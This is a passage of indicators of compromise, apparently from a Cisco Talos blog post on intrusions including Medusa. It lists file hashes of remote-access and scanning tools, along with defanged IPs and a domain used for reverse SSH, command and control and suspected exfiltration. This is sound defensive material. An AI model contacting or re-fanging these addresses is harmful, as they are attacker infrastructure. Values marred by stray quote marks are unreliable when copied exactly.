splashtop_sos.exe	61f281c24846d311031521d13c933c42b33c7283d425456f00cf0ef3ffb04863	Splashtop

 

Domain, URI Path, or IP Address	Status/Description
144.172.103[.]42	Adversary controlled IP address used to establish a reverse proxy SSH connection
45.61.134[.]36	Adversary controlled IP address used to establish a reverse proxy SSH connection
civicoscolombia[.]com	Domain with malicious reputation and signs of potential data exfiltration
104.21.44[.]57’	IP for malicious domain civicoscolombia[.]com

Medusa   

Filename	SHA256	Status/Description
windowslauncher.exe    remote access.exe	11e7f8b671ed39497c8561b0ecd13496080681c21a457d6079817a90de553bf1’	SimpleHelp Remote Access Client
storm.exe	ee6d24410a8cf31d672d2a47466b76ad287c7ba016d3711490f0f607b1dc0be3	SimpleHelp Remote Access Client
psexecsvc.exe	cc14df781475ef0f3f2c441d03a622ea67cd86967526f8758ead6f45174db78e	Microsoft Sysinternals PsExec
Remote AccessLauncher.exe	1e43e202a6e5d3059c3901a63fd69b32a7c0719c9f4c4f592a71c85e08e5d188	SimpleHelp Remote Access Client
session_win.exe	6e5f719d4c319e6aab1440f149d8d1dcb512a8f558b62311a0a5d5af366074ff	SimpleHelp Remote Access Client
ipscan-win64-3.0-beta6.exe	8c1ec962a5e01d8717f6391af96c973600797c5285bcac1ac939a8d59e40e64e	Angry IP Scanner
remote access service.exe	dfee42845dd0ba873411df0ea1a917a7f2c1ddd9c024d325ce76aea90a9c9c51      733fc3b203e9b46d1dd8bfdeea3efd2adc569ef6806bdc15b077623670ad52e1      34df37643dab68d3d3b36c415b6b9fd1842c475c088007081ee613a780fd1c2c	SimpleHelp Remote Access Client
winpty-agent64.exe	586a2d7d3092b364db3cbb5a7dbc83cf7ef233338c4172c1bae6587f8b374cab	SimpleHelp utility to manage terminal connections

 

Domain, URI Path, or IP Address	Status/Description
213.183.63[.]41	Command and control SimpleHelp remote access IP address
89.36.161[.]17	Command and control SimpleHelp remote access IP address
143.110.243[.]154	Suspected data exfiltration IP address

Cisco Talos Blog – ​Read More